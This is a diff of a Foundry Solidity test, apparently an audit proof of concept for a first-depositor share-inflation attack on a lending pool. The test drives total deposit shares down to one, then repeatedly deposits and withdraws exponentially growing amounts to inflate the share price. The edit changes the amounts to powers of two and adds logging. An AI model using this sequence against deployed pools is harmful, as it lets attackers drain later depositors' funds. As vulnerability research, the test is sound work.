Untitled diff
7 removals
42 lines
9 additions
43 lines
function testfirstdepositor() external {
function testfirstdepositor() external {
uint assets = 1000;
uint assets = 1000;
vm.assume(assets > 0);
vm.assume(assets > 0);
vm.startPrank(user);
vm.startPrank(user);
asset1.mint(user, 1000e18);
asset1.mint(user, 1000_000_000e18);
asset1.approve(address(pool), assets);
asset1.approve(address(pool), type(uint256).max);
pool.deposit(linearRatePool, 1000, user);
pool.deposit(linearRatePool, 1000, user);
assertEq(pool.getAssetsOf(linearRatePool, user), assets);
assertEq(pool.getAssetsOf(linearRatePool, user), assets);
assertEq(pool.balanceOf(user, linearRatePool), assets); // Shares equal 1:1 at first
assertEq(pool.balanceOf(user, linearRatePool), assets); // Shares equal 1:1 at first
vm.stopPrank();
vm.stopPrank();
vm.startPrank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
vm.startPrank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
pool.borrow(linearRatePool, user, assets);
pool.borrow(linearRatePool, user, assets);
vm.warp(block.timestamp + 10);
vm.warp(block.timestamp + 10);
vm.roll(block.number + 1 );
vm.roll(block.number + 1 );
asset1.mint(address(pool),1001);
asset1.mint(address(pool),1001);
pool.repay(linearRatePool, user, assets + 1);
pool.repay(linearRatePool, user, assets + 1);
vm.stopPrank();
vm.stopPrank();
vm.startPrank(user);
vm.startPrank(user);
pool.withdraw(linearRatePool, 999 , user, user);
pool.withdraw(linearRatePool, 999 , user, user);
asset1.mint(user, assets);
asset1.mint(user, assets);
asset1.approve(address(pool), 1000e18);
asset1.approve(address(pool), 1000e18);
uint256 n = 60;
uint256 n = 60;
for(uint8 i = 0; i < n; i++){
for(uint8 i = 0; i < n; i++){
uint256 amount = i ** 2 + 1;
uint256 amount = 2 ** i + 1;
pool.deposit(linearRatePool, amount , user);
pool.deposit(linearRatePool, amount , user);
pool.withdraw(linearRatePool, 1 ,user,user);
pool.withdraw(linearRatePool, 1 ,user,user);
(,,,,,,,,,uint256 totalDepositAssets,uint256 totalDepositShares) = pool.poolDataFor(linearRatePool);
(,,,,,,,,,uint256 totalDepositAssets,uint256 totalDepositShares) = pool.poolDataFor(linearRatePool);
require (totalDepositShares == 1, "should be one ");
require (totalDepositShares == 1, "should be one ");
console.log("TotalAssets: ", totalDepositAssets);
console.log("TotalShares: ", totalDepositShares);
}
}
}